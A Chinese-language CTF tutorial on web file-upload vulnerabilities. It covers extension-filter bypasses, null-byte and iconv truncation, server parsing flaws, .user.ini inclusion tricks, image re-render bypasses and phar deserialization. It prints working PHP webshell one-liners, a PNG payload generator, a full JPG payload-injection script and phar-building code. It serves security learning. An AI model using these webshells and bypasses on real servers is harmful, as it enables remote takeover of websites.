前言

由于使用的ctf平台是内部环境,不便公开,所以本文章只讲述做题思路和方法,练习平台大家自行选择,可以使用在线的ctf平台如:ctfshow、buuctf、bugkuctf等,也可以使用网上公开的靶场upload-labs学习。

Web题目做题思路

第一步

拿到题目后,判断题目利用的漏洞方式为读取、写入、还是执行。在不能马上确定的情况下,就由从低到高,依次挖掘,即先找文件读取、再找文件写入、再找命令执行。这一步先确定出最终要拿到的权限,确定渗透方向。

第二步

判断漏洞的大概类型,或者题目大概的考点,比如,有登入框,就测试sql注入更具题目网站提供的功能点和网站的组件进行判断。这样一步步确定具体的利用思路,实现漏洞利用。

第三步

寻找敏感数据,拿到最终flag。

什么是文件上传漏洞?

如果对文件上传路径变量过滤不严,并且对用户上传的文件后缀以及文件类型限制不严,攻击者可通过 Web 访问的目录上传任意文件,包括网站后门文件(webshell),进而远程控制网站服务器。

所以一般需注意:

在开发网站及应用程序过程中,需严格限制和校验上传的文件,禁止上传恶意代码的文件 限制相关目录的执行权限,防范 webshell 攻击

危害就是上传网站后门文件(获取webshell)

注意ctf中的文件上传题目大多数都为黑盒测试,做题流程通常都为一个个方法测试进行推测,所以本篇文章中的所有解题思路都有可能用上。

网站检测机制与防护手段

通常网站的检测机制是检查文件后缀,检查后缀分为两种情况

白名单过滤:白名单过滤就是只允许上传它指定的文件后缀如:png、.jpg等,这种过滤在没有其他漏洞辅助的情况下几乎不可能绕过。

黑名单过滤: 顾名思义就是不允许上传它指定的文件后缀,如php,phtml,phps,php3/4/5/6/7这种能解析php脚本的文件后缀,这种主要看他的黑名单写的全不全,因为有很多种办法能解析php。

关键字替换双写绕过

原理:服务端对黑名单中的内容进行处理,且仅处理一次,比如说使用str_replace()函数(函数具体使用自行了解),所以可以通过双写后缀绕过。

使用brup抓包,我们直接上传一个1.php

可以看到返回结果php被去空了,当时文件还是上传了,那么我们尝试使用双写绕过1.pphphp

看到文件上传成功,我们用蚁剑连接即可

如果php后缀替换为txt时,我们无法双写绕过,1.pphphp  1.ptxthp

php文件上传的00截断

其实截断的原理也很简单,无论0x00还是%00,最终被解析后都是一个东西:chr(0)

chr()是一个函数,这个函数是用来返回参数所对应的字符的,也就是说,参数是一个ASCII码,返回的值是一个字符,类型为string。

那么chr(0)就很好理解了,对照ASCII码表可以知道,ASCII码为0-127的数字,每个数字对应一个字符,而0对应的就是NUT字符(NULL),也就是空字符,而截断的关键就是这个空字符,当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃。

那么就可以知道00截断的原理了,在后缀中插入一个空字符(不是空格),会导致之后的部分被丢弃,而导致绕过的发生。

如:在文件1.php.jpg中插入空字符变成:1.php.0x00.jpg中,解析后就会只剩下1.php,而空字符怎么插入的呢?

通常我们会用Burp抓包后,在文件名插入一个空格,然后再HEX中找到空格对应的16进制编码“20”,把它改成00(即16进制ASCII码00,对应十进制的0),就可以插入空字符了

这个漏洞比较老条件比较苛刻就不演示了

00字符截断需要的版本

php版本小于5.3.4  而最新的php版本已经达到8.1

java版本小于7u40,而最新的java版本已经达到20以上

iconv字符转换异常后造成了字符截断

php在文件上传场景下的文件名字符集转换时,可能出现截断问题

utf-8字符集  默认的字符编码范围的是0x00-0x7f  

iconv转换的字符不在上面这个范围之内,低版本的php会报异常,报了异常以后,后续字符不再处理

就会造成截断问题

123.php%df.jpg   123.php

iconv截断需要的版本

php版本低于5.4才可以使用  

黑名单后缀绕过

黑名单绕过的思路就是使用其它可以使网站解析的文件后缀,以php为例,比如:php3,php4,php5,phtml等,这里放张表

语言

可解析后缀

ASP/ASPX

asp,aspx,asa,ascx,ashx,asmx,cer,cdx

PHP

php,php5,php4,php3,phtml,pht

JSP

jsp,jspx,jspa,jsw,jsv,jspf,jtml

就替换个后缀,这里不多说

文件内容检测

文件内容检测常见的有:文件头检测、php标签检测、命令函数检测、传参方式检测。

文件头检测

文件类型

后缀

文件头

文件尾

标志

JPEG

.jpg/.jpeg

FFD8FF

FFD9

JFIF

PNG

.png

89504E47

AE426082

PNG IEND IHDR

GIF

.gif

47494638

003B

GIT9a

TIFF

.tif/.tiff

49492A00

4D4D2A00

- II MM

php标签检测

使用其他php能解析的标签

比如<?= echo 123; ?>这种短标签

命令函数检测

如果检测eval之类的,用assert即可,有很多能使用,一个个尝试即可

传参方式检测

比如不允许出现post,get,可以使用cookie之类的绕过

上传一句话写有一句话木马的.txt,提示:文件内容非法

这时我们要更改关键字来判断它检测了哪些内容,经过多次测试最后内容为

<?=eval($_COOKIE[1]);

上传我们的1.txt和.user.ini

然后给网站添加cookie

name=1
value=eval(base64_decode('cGhwaW5mbygpOw=='))?>

因为直接写phpinfo不行,所以我们所以base64编码一下,再解码

web服务器的解析漏洞绕过

iis

IIS6.0有2种解析漏洞

1.  目录解析

以*.asp命名的文件夹里的文件都将会被当成ASP文件执行。

2. 文件解析

.asp;.jpg 像这种畸形文件名在“;”后面的直接被忽略,也就是说当成 .asp文件执行。

apache

多后缀解析漏洞

当我们上传apache不认识的后缀时,apahce会继续往前找后缀,找到认识的就解析执行,列如:

123.txt.ctfshow  123.txt  文本文档形式解析

123.php.ctfshow  123.php  就交给中间件处理php脚本

nginx

基于错误的nginx配置 和 php-fpm配置,当我们访问  123.txt/123.php

 我们上传一个1.txt

上传成功然后访问/upload/1.txt/1.php

cgi.fix_pathinfo 默认开启  123.txt/123.php  当123.php不存在时,会找/前面的文件进行php解析,这时候,就成功解析了123.txt为php脚本了

.user.ini使用

如果黑名单没有限制.user.ini是可以造成非常大的危害的

我们先上传一个.user.ini文件,文件内容是包含一个1.txt

auto_append_file=123.txt

然后上传123.txt

<?php eval($_POST[1]);?>

然后访问index.php即可

.user.ini高级玩法

.user.ini搭配伪协议

我们拿到题目,还是老样子上传1.txt,发现存在内容检测,经过多次尝试,发现过滤了<?,于是尝试一下<script language="php"></script>这个标签,发现能上传,但是不解析,所以包含其他文件这条路就堵死了,我们知道.user.ini可以包含文件,但其实只要环境支持伪协议,我们也是可以包含伪协议的

.user.ini
auto_append_file=php://input

.user.ini包含日志文件

还是上传.user.ini文件,包含日志文件。

nginx
var/log/nginx/access.log

上传html来xss 执行跨站脚本

这个就是没过滤html后缀文件导致xss,其实还有个更骚的思路,直接上传一个写有文件上传功能的html文件,然后访问,在自己上传的html里上传一个shell文件,达成getshell的目的

getimagesize函数绕过

getimagesize函数来检测是不是图片,而不采取其他措施的情况下,如果一旦绕过getimagesize函数,就可以实现任意文件上传

XBM 格式图片

#define %s %d 这种形式,就认为时XBM图片的高或者宽

.user.ini#define width 100;#define height 100;auto_append_file=/var/log/nginx/access.log

看到文件上传成功,我们访问index.php

图片二次渲染绕过

png

顾名思义,就是对我们上传的png文件通过imagepng方法来,来动态依据我们上传的图片的二次生成一个png图片,这样里面的php代码就会被清洗掉

我们先随便上传个文件,发现url有个image=尝试文件包含发现可以

那我们用我们的脚本生成一个png文件

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'2.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */

?>

图片生成后上传,显示查看图片,发现图片不一样,经过了二次渲染

gif

对于gif图片,gif图片的特点是无损(修改图片后,图片质量几乎没有损失),我们可以对比上传前后图片的内容字节,在渲染后不会被修改的部分插入木马。对比工具可以使用burp,也可以使用010编辑器(更直观一点)

jpg

直接上脚本,由于jpg图片易损,对图片的选取有很大关系,很容易制作失败

<?php    $miniPayload = "<?=phpinfo();?>";

    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {        die('php-gd is not installed');    }
    if(!isset($argv[1])) {        die('php jpg_payload.php <jpg_name.jpg>');    }
    set_error_handler("custom_error_handler");
    for($pad = 0; $pad < 1024; $pad++) {        $nullbytePayloadSize = $pad;        $dis = new DataInputStream($argv[1]);        $outStream = file_get_contents($argv[1]);        $extraBytes = 0;        $correctImage = TRUE;
        if($dis->readShort() != 0xFFD8) {            die('Incorrect SOI marker');        }
        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {            $marker = $dis->readByte();            $size = $dis->readShort() - 2;            $dis->skip($size);            if($marker === 0xDA) {                $startPos = $dis->seek();                $outStreamTmp =                     substr($outStream, 0, $startPos) .                     $miniPayload .                     str_repeat("\0",$nullbytePayloadSize) .                     substr($outStream, $startPos);                checkImage('_'.$argv[1], $outStreamTmp, TRUE);                if($extraBytes !== 0) {                    while((!$dis->eof())) {                        if($dis->readByte() === 0xFF) {                            if($dis->readByte !== 0x00) {                                break;                            }                        }                    }                    $stopPos = $dis->seek() - 2;                    $imageStreamSize = $stopPos - $startPos;                    $outStream =                         substr($outStream, 0, $startPos) .                         $miniPayload .                         substr(                            str_repeat("\0",$nullbytePayloadSize).                                substr($outStream, $startPos, $imageStreamSize),                            0,                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) .                                 substr($outStream, $stopPos);                } elseif($correctImage) {                    $outStream = $outStreamTmp;                } else {                    break;                }                if(checkImage('payload_'.$argv[1], $outStream)) {                    die('Success!');                } else {                    break;                }            }        }    }    unlink('payload_'.$argv[1]);    die('Something\'s wrong');
    function checkImage($filename, $data, $unlink = FALSE) {        global $correctImage;        file_put_contents($filename, $data);        $correctImage = TRUE;        imagecreatefromjpeg($filename);        if($unlink)            unlink($filename);        return $correctImage;    }
    function custom_error_handler($errno, $errstr, $errfile, $errline) {        global $extraBytes, $correctImage;        $correctImage = FALSE;        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {            if(isset($m[1])) {                $extraBytes = (int)$m[1];            }        }    }
    class DataInputStream {        private $binData;        private $order;        private $size;
        public function __construct($filename, $order = false, $fromString = false) {            $this->binData = '';            $this->order = $order;            if(!$fromString) {                if(!file_exists($filename) || !is_file($filename))                    die('File not exists ['.$filename.']');                $this->binData = file_get_contents($filename);            } else {                $this->binData = $filename;            }            $this->size = strlen($this->binData);        }
        public function seek() {            return ($this->size - strlen($this->binData));        }
        public function skip($skip) {            $this->binData = substr($this->binData, $skip);        }
        public function readByte() {            if($this->eof()) {                die('End Of File');            }            $byte = substr($this->binData, 0, 1);            $this->binData = substr($this->binData, 1);            return ord($byte);        }
        public function readShort() {            if(strlen($this->binData) < 2) {                die('End Of File');            }            $short = substr($this->binData, 0, 2);            $this->binData = substr($this->binData, 2);            if($this->order) {                $short = (ord($short[1]) << 8) + ord($short[0]);            } else {                $short = (ord($short[0]) << 8) + ord($short[1]);            }            return $short;        }
        public function eof() {            return !$this->binData||(strlen($this->binData) === 0);        }    }?>

运行脚本命令:

jpg_payload.php 1.jpg

phar文件上传绕过

什么是phar

JAR是开发java程序一个应用,包括所有的可执行、可访问的文件都打包进了一个JAR文件里,使得部署过程十分简单。phar是php里类似与JAR的一种打包文件。对于PHP5.3或更高版本。Phar后缀文件是默认开启支持的,可以使用它。

Phar结构

stub:phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。

manifest:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。

content:被压缩文件的内容

signature (可空):签名,放在末尾。

注意:Phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化

phar文件上传绕过的本质就是phar反序列化,只不过是需要文件上传点,这个条件是非常苛刻的,要对方存在文件上传,存在文件包含并且支持phar伪协议,存在反序列化漏洞。

直接看题吧

<?php
highlight_file(__FILE__);
error_reporting(0);
class TestObject {
    public function __destruct() {
        include('flag.php');
        echo $flag;
    }
#大致意思就是我们要反序列化触发__destruct()方法,就会输出flag
}
$filename = $_POST['file'];
if (isset($filename)){
    echo md5_file($filename);
}
//post接受一个文件名,如果存在会返回文件的md5值
//upload.php   文件上传页面
?>

我这里不对代码进行过多的讲解了,看注释。

解题步骤:1.生成一个phar文件-->2.在mate-data里放置一个包含TestObject()的序列号字符串-->3.上传文件-->4.md5_file执行phar伪协议,触发反序列化-->5.反序列化TestObject()触发__destruck执行echo $flag

生成phar文件

<?php
class TestObject{
}
@unlink('test.phar');   //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub
$o=new TestObject();
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test");  //添加要压缩的文件
$phar->stopBuffering();
?>

我生成phar的环境使用的是

要在php.ini中修改在这个

然后访问文件,生成phar包,由于有对文件后缀进行白名单过滤,所有修改文件后缀伪jpg

上传文件

包含文件,读取flag

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。